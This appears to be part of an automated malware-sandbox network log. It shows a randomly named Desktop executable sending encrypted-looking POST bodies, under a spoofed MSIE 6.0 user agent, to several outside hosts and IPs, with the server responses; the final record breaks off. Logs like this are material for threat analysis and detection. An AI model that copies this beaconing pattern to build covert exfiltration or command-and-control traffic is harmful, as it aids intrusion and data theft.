Oct 25, 2024 11:17:41.611958981 CEST	615	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Fri, 25 Oct 2024 09:17:41 GMT Content-Type: text/html; charset=iso-8859-1 Content-Length: 307 Connection: keep-alive X-Content-Type-Options: nosniff Location: https://www.c9dd.com/ Cache-Control: max-age=0 Expires: Fri, 25 Oct 2024 09:17:41 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 39 64 64 2e 63 6f 6d 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 36 32 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 77 77 77 2e 63 39 64 64 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://www.c9dd.com/">here</a>.</p><hr><address>Apache/2.4.62 (Debian) Server at www.c9dd.com Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.5	52642	165.22.45.169	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:17:40.777231932 CEST	824	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 592 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.crcsi.org Cache-Control: no-cache Data Raw: 44 73 6f 72 35 6d 73 4f 63 76 76 4a 32 44 6f 34 51 6c 42 72 32 39 51 6a 4d 67 63 78 34 55 4c 68 7a 36 34 70 6c 54 5a 50 36 63 55 32 35 38 35 54 62 79 7a 33 65 41 34 46 4f 78 4c 49 72 37 59 54 31 7a 48 63 2f 4d 44 6c 71 74 39 35 39 44 63 77 47 6a 39 30 68 48 66 78 42 5a 75 64 63 46 56 67 4d 53 6f 39 4d 79 47 4a 53 4f 70 45 2b 74 49 76 58 61 6e 45 50 35 37 55 44 47 61 6d 6e 54 58 58 7a 76 2f 6b 31 79 75 6d 50 77 37 41 59 45 2b 44 61 79 56 49 49 2f 55 4a 55 35 6f 48 52 4a 72 51 68 55 63 65 6c 4e 66 50 7a 5a 62 48 4e 6f 39 2f 68 5a 76 61 63 31 73 42 2b 6c 36 4e 49 54 32 6d 6e 76 30 51 68 59 49 4a 41 66 77 32 66 6a 6e 67 50 51 4a 48 6e 32 77 50 64 37 75 58 47 64 71 2f 55 72 47 6f 38 61 39 41 37 67 63 56 4e 4e 70 69 4d 51 72 5a 46 31 47 52 6a 2b 46 50 43 6d 41 70 66 73 56 32 58 54 6f 35 35 44 67 36 4f 54 64 71 77 4b 6c 66 68 61 2f 54 52 6f 54 61 54 4f 48 76 57 4a 6d 34 73 7a 47 4d 58 57 59 46 33 4f 45 62 4f 79 4f 70 76 47 45 35 46 56 55 4b 4a 74 38 52 4b 66 67 4d 62 4b 30 42 36 4d 48 35 42 59 58 50 61 31 [TRUNCATED] Data Ascii: Dsor5msOcvvJ2Do4QlBr29QjMgcx4ULhz64plTZP6cU2585Tbyz3eA4FOxLIr7YT1zHc/MDlqt959DcwGj90hHfxBZudcFVgMSo9MyGJSOpE+tIvXanEP57UDGamnTXXzv/k1yumPw7AYE+DayVII/UJU5oHRJrQhUcelNfPzZbHNo9/hZvac1sB+l6NIT2mnv0QhYIJAfw2fjngPQJHn2wPd7uXGdq/UrGo8a9A7gcVNNpiMQrZF1GRj+FPCmApfsV2XTo55Dg6OTdqwKlfha/TRoTaTOHvWJm4szGMXWYF3OEbOyOpvGE5FVUKJt8RKfgMbK0B6MH5BYXPa1Pr0iuXg3x8jMTbTii3U2L0nRooOhOQvNECrNifMXwkGWFPR/xIygmm3gjsK4G/OZDQOg9eycgxLrvJlZeBi34p/AuZ/XEKjtjELw3crbgp0BErlU0//pFyP2W4v7lybrCnxHSzhyCcfPp8mwiBDUD1rNHCPwwFUnuszIJ0tQo7oQsNUDpc9rI/hyHCFfB/xiuwnQ6geFRgME6jQxs08Gsk68h8pyQj3RutoZEVdmPpbTtPFIjyCybaSMfQLNej
Oct 25, 2024 11:17:41.445152044 CEST	352	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Fri, 25 Oct 2024 09:17:41 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive Location: https://www.crcsi.org/ Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>
Oct 25, 2024 11:17:41.488671064 CEST	824	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 592 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.crcsi.org Cache-Control: no-cache Data Raw: 44 73 6f 72 35 6d 73 4f 63 76 76 4a 32 44 6f 34 51 6c 42 72 32 39 51 6a 4d 67 63 78 34 55 4c 68 7a 36 34 70 6c 54 5a 50 36 63 55 32 35 38 35 54 62 79 7a 33 65 41 34 46 4f 78 4c 49 72 37 59 54 31 7a 48 63 2f 4d 44 6c 71 74 39 35 39 44 63 77 47 6a 39 30 68 48 66 78 42 5a 75 64 63 46 56 67 4d 53 6f 39 4d 79 47 4a 53 4f 70 45 2b 74 49 76 58 61 6e 45 50 35 37 55 44 47 61 6d 6e 54 58 58 7a 76 2f 6b 31 79 75 6d 50 77 37 41 59 45 2b 44 61 79 56 49 49 2f 55 4a 55 35 6f 48 52 4a 72 51 68 55 63 65 6c 4e 66 50 7a 5a 62 48 4e 6f 39 2f 68 5a 76 61 63 31 73 42 2b 6c 36 4e 49 54 32 6d 6e 76 30 51 68 59 49 4a 41 66 77 32 66 6a 6e 67 50 51 4a 48 6e 32 77 50 64 37 75 58 47 64 71 2f 55 72 47 6f 38 61 39 41 37 67 63 56 4e 4e 70 69 4d 51 72 5a 46 31 47 52 6a 2b 46 50 43 6d 41 70 66 73 56 32 58 54 6f 35 35 44 67 36 4f 54 64 71 77 4b 6c 66 68 61 2f 54 52 6f 54 61 54 4f 48 76 57 4a 6d 34 73 7a 47 4d 58 57 59 46 33 4f 45 62 4f 79 4f 70 76 47 45 35 46 56 55 4b 4a 74 38 52 4b 66 67 4d 62 4b 30 42 36 4d 48 35 42 59 58 50 61 31 [TRUNCATED] Data Ascii: Dsor5msOcvvJ2Do4QlBr29QjMgcx4ULhz64plTZP6cU2585Tbyz3eA4FOxLIr7YT1zHc/MDlqt959DcwGj90hHfxBZudcFVgMSo9MyGJSOpE+tIvXanEP57UDGamnTXXzv/k1yumPw7AYE+DayVII/UJU5oHRJrQhUcelNfPzZbHNo9/hZvac1sB+l6NIT2mnv0QhYIJAfw2fjngPQJHn2wPd7uXGdq/UrGo8a9A7gcVNNpiMQrZF1GRj+FPCmApfsV2XTo55Dg6OTdqwKlfha/TRoTaTOHvWJm4szGMXWYF3OEbOyOpvGE5FVUKJt8RKfgMbK0B6MH5BYXPa1Pr0iuXg3x8jMTbTii3U2L0nRooOhOQvNECrNifMXwkGWFPR/xIygmm3gjsK4G/OZDQOg9eycgxLrvJlZeBi34p/AuZ/XEKjtjELw3crbgp0BErlU0//pFyP2W4v7lybrCnxHSzhyCcfPp8mwiBDUD1rNHCPwwFUnuszIJ0tQo7oQsNUDpc9rI/hyHCFfB/xiuwnQ6geFRgME6jQxs08Gsk68h8pyQj3RutoZEVdmPpbTtPFIjyCybaSMfQLNej
Oct 25, 2024 11:17:41.650957108 CEST	352	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Fri, 25 Oct 2024 09:17:41 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive Location: https://www.crcsi.org/ Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.5	52643	3.94.41.167	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:17:41.125103951 CEST	820	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 588 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.netcr.com Cache-Control: no-cache Data Raw: 61 78 4c 42 70 54 36 45 46 50 75 5a 32 67 34 54 43 56 34 34 45 79 47 38 38 65 62 2b 4d 70 62 5a 55 6f 67 36 46 4f 42 33 50 58 66 33 58 4d 6a 44 72 52 39 45 31 6c 63 47 78 75 63 59 47 4a 56 6a 77 53 59 4a 35 57 61 4d 6d 2f 4d 66 4d 45 45 6c 6b 57 79 48 68 66 37 30 46 4a 37 31 36 6b 71 44 38 4c 43 33 62 33 75 76 71 52 6f 4d 61 74 5a 55 33 74 41 59 4d 39 7a 79 4e 44 33 4d 4d 43 69 52 32 55 78 6c 58 55 67 34 77 67 6e 36 7a 6a 5a 68 64 58 42 37 43 6f 50 4a 63 76 51 2b 62 6c 77 41 59 6a 70 31 58 73 56 44 48 50 74 37 34 63 73 34 4c 2f 32 50 4c 72 6a 6f 49 59 4d 54 63 2f 32 79 68 34 45 52 58 4a 55 4e 50 56 6d 4f 6e 50 32 54 57 34 32 42 71 76 63 77 74 74 75 44 38 4b 45 68 68 41 69 6a 79 41 2f 53 37 51 45 6a 6c 6e 35 65 6e 59 69 7a 71 6d 6a 34 36 78 2f 6f 4a 45 55 6b 6a 6d 50 4f 32 4a 6f 7a 47 6e 4f 37 34 4e 63 72 67 6b 75 6b 52 4f 4f 2f 79 52 52 78 49 42 67 4e 58 4a 4b 30 48 69 74 2f 51 54 6a 75 4a 62 61 43 67 39 66 55 61 6c 2f 76 65 2f 50 4d 6d 42 59 6d 72 2b 43 5a 54 68 49 6f 4b 57 34 66 41 75 4a 2b 6e 51 [TRUNCATED] Data Ascii: axLBpT6EFPuZ2g4TCV44EyG88eb+MpbZUog6FOB3PXf3XMjDrR9E1lcGxucYGJVjwSYJ5WaMm/MfMEElkWyHhf70FJ716kqD8LC3b3uvqRoMatZU3tAYM9zyND3MMCiR2UxlXUg4wgn6zjZhdXB7CoPJcvQ+blwAYjp1XsVDHPt74cs4L/2PLrjoIYMTc/2yh4ERXJUNPVmOnP2TW42BqvcwttuD8KEhhAijyA/S7QEjln5enYizqmj46x/oJEUkjmPO2JozGnO74NcrgkukROO/yRRxIBgNXJK0Hit/QTjuJbaCg9fUal/ve/PMmBYmr+CZThIoKW4fAuJ+nQuG75hbYL541AXcJZMMDmE2CPI/yTrZ6WR2sb9mpjQUMR3D8J8dNhOUpthR+h1FTY/o++OrZqx18Lg6v2lGwyiSbZkpvTkH6Y8BlMSawrDybh4A7yRellXEOKfif+zEXEM+W7mOb9G+NBFMzKR9g0vi3nf/2P8rkMdYxJsHX0hg+b6BZaPiHJ5n8mp8ntj5sjAknmXXdZXBEmXxajrP/onj8EgbGK/y6D4i7L5NTQyx9LA1PR5Wff4Aqow=
Oct 25, 2024 11:17:41.754070044 CEST	182	IN	HTTP/1.0 404 Not Found cache-control: no-cache content-type: text/html x-reason: UnsupportedMethod Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><title>Not Found</title></head><body>404 Not Found</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.5	52645	211.1.226.67	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:17:41.530154943 CEST	811	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 576 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.ka-mo-me.com Cache-Control: no-cache Data Raw: 61 68 63 57 48 6d 64 77 6e 66 76 6e 6e 45 42 36 46 72 4a 46 75 44 42 6a 4c 4d 37 64 41 44 4c 68 69 30 70 42 2f 79 54 2b 37 69 6a 4f 44 4d 38 43 45 50 46 37 4a 30 7a 41 32 70 63 6c 61 2f 37 57 36 46 4d 7a 6c 6e 61 2f 72 52 79 53 50 57 55 67 67 4d 37 48 61 62 59 51 6c 4d 35 7a 50 41 47 39 44 5a 4d 7a 72 52 72 2b 59 70 66 54 36 36 76 37 32 47 30 43 71 71 77 4f 32 67 69 75 6a 56 70 46 4b 33 37 47 69 56 6b 30 46 66 2b 39 41 62 65 43 47 61 2f 69 6a 4e 51 58 6b 35 77 56 54 43 30 59 6e 4b 6f 77 53 66 76 42 48 78 36 34 67 5a 7a 56 65 50 5a 67 30 56 56 79 74 47 6d 74 49 61 71 6d 54 41 38 4b 52 6a 50 33 63 70 38 4b 45 33 6d 77 4a 6e 61 6c 42 37 52 79 39 34 78 67 38 76 62 75 59 68 67 54 61 69 62 6d 43 59 70 46 65 55 53 6c 46 61 6c 71 75 67 57 4b 62 7a 33 31 50 2f 36 66 50 35 6c 47 30 59 4c 47 30 77 74 51 75 36 45 36 41 46 2b 4e 74 63 5a 75 4b 38 57 36 58 6c 62 30 53 4b 70 6d 33 65 6a 45 39 76 73 49 6c 46 65 54 6d 41 51 77 73 32 4e 74 38 38 4a 41 33 35 6d 31 47 58 73 4b 48 52 56 6c 76 36 43 37 6b 65 63 39 43 52 [TRUNCATED] Data Ascii: ahcWHmdwnfvnnEB6FrJFuDBjLM7dADLhi0pB/yT+7ijODM8CEPF7J0zA2pcla/7W6FMzlna/rRySPWUggM7HabYQlM5zPAG9DZMzrRr+YpfT66v72G0CqqwO2giujVpFK37GiVk0Ff+9AbeCGa/ijNQXk5wVTC0YnKowSfvBHx64gZzVePZg0VVytGmtIaqmTA8KRjP3cp8KE3mwJnalB7Ry94xg8vbuYhgTaibmCYpFeUSlFalqugWKbz31P/6fP5lG0YLG0wtQu6E6AF+NtcZuK8W6Xlb0SKpm3ejE9vsIlFeTmAQws2Nt88JA35m1GXsKHRVlv6C7kec9CRTpVDkGlNDUEdzKmvJww1Oh+YLXotjRl9k074Y+TLlMijHHqvzXotPi2r0Yy6hUGtZLqUSKxxeLGwXeBX70t6W+ZgkbsImBdV98GJmxpYTi/Pqanux84BkZiRT+A0wFdIFtpjbgpRZS7SMeqyvASh44TSTC2yTRJQKGWw9jL9xb+2Veo3PVmlb0NwEqDVfH2BuQZaUInpZZWc4wCVow9CODBTwvT+rFCAGSpqi/SsRctA==
Oct 25, 2024 11:17:42.409239054 CEST	355	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Fri, 25 Oct 2024 09:17:42 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive Location: https://www.ka-mo-me.com/ Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>
Oct 25, 2024 11:17:42.449846983 CEST	811	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 576 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.ka-mo-me.com Cache-Control: no-cache Data Raw: 61 68 63 57 48 6d 64 77 6e 66 76 6e 6e 45 42 36 46 72 4a 46 75 44 42 6a 4c 4d 37 64 41 44 4c 68 69 30 70 42 2f 79 54 2b 37 69 6a 4f 44 4d 38 43 45 50 46 37 4a 30 7a 41 32 70 63 6c 61 2f 37 57 36 46 4d 7a 6c 6e 61 2f 72 52 79 53 50 57 55 67 67 4d 37 48 61 62 59 51 6c 4d 35 7a 50 41 47 39 44 5a 4d 7a 72 52 72 2b 59 70 66 54 36 36 76 37 32 47 30 43 71 71 77 4f 32 67 69 75 6a 56 70 46 4b 33 37 47 69 56 6b 30 46 66 2b 39 41 62 65 43 47 61 2f 69 6a 4e 51 58 6b 35 77 56 54 43 30 59 6e 4b 6f 77 53 66 76 42 48 78 36 34 67 5a 7a 56 65 50 5a 67 30 56 56 79 74 47 6d 74 49 61 71 6d 54 41 38 4b 52 6a 50 33 63 70 38 4b 45 33 6d 77 4a 6e 61 6c 42 37 52 79 39 34 78 67 38 76 62 75 59 68 67 54 61 69 62 6d 43 59 70 46 65 55 53 6c 46 61 6c 71 75 67 57 4b 62 7a 33 31 50 2f 36 66 50 35 6c 47 30 59 4c 47 30 77 74 51 75 36 45 36 41 46 2b 4e 74 63 5a 75 4b 38 57 36 58 6c 62 30 53 4b 70 6d 33 65 6a 45 39 76 73 49 6c 46 65 54 6d 41 51 77 73 32 4e 74 38 38 4a 41 33 35 6d 31 47 58 73 4b 48 52 56 6c 76 36 43 37 6b 65 63 39 43 52 [TRUNCATED] Data Ascii: ahcWHmdwnfvnnEB6FrJFuDBjLM7dADLhi0pB/yT+7ijODM8CEPF7J0zA2pcla/7W6FMzlna/rRySPWUggM7HabYQlM5zPAG9DZMzrRr+YpfT66v72G0CqqwO2giujVpFK37GiVk0Ff+9AbeCGa/ijNQXk5wVTC0YnKowSfvBHx64gZzVePZg0VVytGmtIaqmTA8KRjP3cp8KE3mwJnalB7Ry94xg8vbuYhgTaibmCYpFeUSlFalqugWKbz31P/6fP5lG0YLG0wtQu6E6AF+NtcZuK8W6Xlb0SKpm3ejE9vsIlFeTmAQws2Nt88JA35m1GXsKHRVlv6C7kec9CRTpVDkGlNDUEdzKmvJww1Oh+YLXotjRl9k074Y+TLlMijHHqvzXotPi2r0Yy6hUGtZLqUSKxxeLGwXeBX70t6W+ZgkbsImBdV98GJmxpYTi/Pqanux84BkZiRT+A0wFdIFtpjbgpRZS7SMeqyvASh44TSTC2yTRJQKGWw9jL9xb+2Veo3PVmlb0NwEqDVfH2BuQZaUInpZZWc4wCVow9CODBTwvT+rFCAGSpqi/SsRctA==
Oct 25, 2024 11:17:42.712913990 CEST	355	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Fri, 25 Oct 2024 09:17:42 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive Location: https://www.ka-mo-me.com/ Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.5	52646	147.154.0.23	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:17:41.761933088 CEST	807	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 576 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.nqks.com Cache-Control: no-cache Data Raw: 50 55 32 73 41 73 79 62 67 2f 74 4e 51 78 52 78 4e 79 51 64 71 64 39 51 7a 77 57 6b 39 4b 67 36 77 41 47 46 73 51 44 68 4d 31 46 50 50 74 7a 66 78 31 39 51 41 55 63 67 38 4f 53 66 4e 33 75 57 47 59 71 33 46 55 58 2f 57 70 43 43 58 61 34 6c 4e 79 31 57 49 30 72 6c 33 5a 77 35 44 38 77 46 52 30 6b 52 47 33 58 4e 6a 52 52 73 30 59 33 2b 50 50 78 45 44 69 71 34 58 4d 38 5a 4f 35 72 68 61 37 45 48 59 44 37 63 59 53 66 4e 78 45 52 76 69 32 4f 2f 52 35 55 58 46 61 2b 78 79 58 70 4b 58 31 71 79 39 70 39 78 52 6b 48 49 66 51 50 6e 51 55 36 64 76 30 72 56 58 66 76 46 55 74 65 72 52 32 4f 6b 38 6e 71 54 36 64 42 57 6e 75 6c 4f 41 47 66 56 7a 47 76 59 69 6e 74 79 69 47 53 48 55 51 44 76 76 6a 67 48 59 30 4c 2f 6c 33 2f 72 65 42 58 77 50 6d 74 69 2f 58 39 4d 35 2b 58 54 73 55 70 45 73 5a 41 4d 44 51 49 64 30 31 64 49 38 6c 72 4b 68 72 47 71 6d 52 61 75 61 44 33 33 61 41 32 72 48 6c 43 4e 45 33 46 54 53 44 6b 35 64 77 66 77 73 41 47 46 4b 61 2b 69 67 48 37 51 58 57 6e 75 78 48 6d 42 6d 4a 70 4a 6a 36 56 64 68 35 [TRUNCATED] Data Ascii: PU2sAsybg/tNQxRxNyQdqd9QzwWk9Kg6wAGFsQDhM1FPPtzfx19QAUcg8OSfN3uWGYq3FUX/WpCCXa4lNy1WI0rl3Zw5D8wFR0kRG3XNjRRs0Y3+PPxEDiq4XM8ZO5rha7EHYD7cYSfNxERvi2O/R5UXFa+xyXpKX1qy9p9xRkHIfQPnQU6dv0rVXfvFUterR2Ok8nqT6dBWnulOAGfVzGvYintyiGSHUQDvvjgHY0L/l3/reBXwPmti/X9M5+XTsUpEsZAMDQId01dI8lrKhrGqmRauaD33aA2rHlCNE3FTSDk5dwfwsAGFKa+igH7QXWnuxHmBmJpJj6Vdh55eZy4Qu/NxPgvlFX+L6uC0FF+Wlj82bQHfGIHdTQUpwvVL1n7cj0FECB7sOHnuoQ1qs5agSkRJJMtPoZxSEr7+6zS/WIoqCvujp21rwBMo+1U8ORmZWHCmgC+pFnMfRdOGFW4n5JmuPEP0rM6Q+ijNj3+Mw8wAs9EbftOlSs9pulNsuZm4BSp160WVpF+i/8HXTLUwus6Xazutshpkvx5HATtekaPDfrDoZe+HtYK+If0=
Oct 25, 2024 11:17:42.466810942 CEST	1021	IN	HTTP/1.1 403 Forbidden Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Date: Fri, 25 Oct 2024 09:17:42 GMT Cache-Control: no-store Cache-Control: no-cache, no-store, must-revalidate Cache-Control: max-age=0 X-Cache-Status: X-Zen-Fury: d0a2ac318fa3f72117ff05ef84b5d4d7d76e354e Server: ZENEDGE Data Raw: 32 61 39 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 20 69 66 20 28 74 79 70 65 6f 66 28 5f 5f 5f 7a 65 6e 29 20 3d 3d 3d 20 22 75 6e 64 65 66 69 6e 65 64 22 29 20 7b 73 65 74 54 69 6d 65 6f 75 74 28 61 72 67 75 6d 65 6e 74 73 2e 63 61 6c 6c 65 65 2c 20 35 30 29 3b 20 72 65 74 75 72 6e 3b 20 7d 5f 5f 5f 7a 65 6e 2e 68 69 63 28 22 5f 5f 5a 45 48 49 43 36 32 34 22 2c 20 31 37 32 39 38 34 37 38 36 32 2c 20 31 2c 20 30 2c 20 36 30 29 3b 20 7d 29 28 29 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 61 73 79 6e 63 3d 22 61 73 79 6e 63 22 20 73 72 63 3d 22 2f 5f 5f 7a 65 6e 65 64 67 65 2f 61 73 73 65 74 73 2f 68 69 63 2e 6a 73 3f 76 3d 31 36 37 34 32 30 37 34 32 32 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 62 6f [TRUNCATED] Data Ascii: 2a9<html><head><title>403 Forbidden</title><script type="text/javascript">(function(){ if (typeof(___zen) === "undefined") {setTimeout(arguments.callee, 50); return; }___zen.hic("__ZEHIC624", 1729847862, 1, 0, 60); })()</script><script type="text/javascript" async="async" src="/__zenedge/assets/hic.js?v=1674207422"></script></head><body><center><div><h1>403</h1></div><h1>Forbidden</h1></center><script type="text/javascript" async="async" src="/__zenedge/assets/f.js?v=1674207422"></script><script>(function () { var v = 1729847862 * 3.1415926535898; v = Math.floor(v); document.cookie = "__zjc2003="+v+"; expires=Fri, 25 Oct 2024 09:19:42 UTC; path=/"; })()</script></body></html>
Oct 25, 2024 11:17:42.467853069 CEST	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.5	52651	144.76.24.9	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:17:42.230516911 CEST	776	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 544 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.lrsuk.com Cache-Control: no-cache Data Raw: 4a 36 53 42 73 63 42 2b 53 50 77 65 2f 59 71 66 6b 2b 4e 64 54 2f 50 58 75 4e 71 6f 56 4c 4c 68 39 50 6b 6f 6f 77 32 68 7a 32 4c 71 4a 71 68 61 6e 58 4f 64 52 46 50 37 6c 67 73 33 59 6b 4d 6e 6c 51 4b 61 67 35 4a 75 32 53 51 65 4a 39 6a 65 55 6b 34 6a 76 48 45 49 6c 43 55 6b 6f 73 77 70 56 75 30 67 4d 33 74 59 56 79 78 54 52 6c 4d 78 47 74 37 33 37 76 6b 75 57 57 68 51 78 61 77 4e 76 61 6e 37 48 61 30 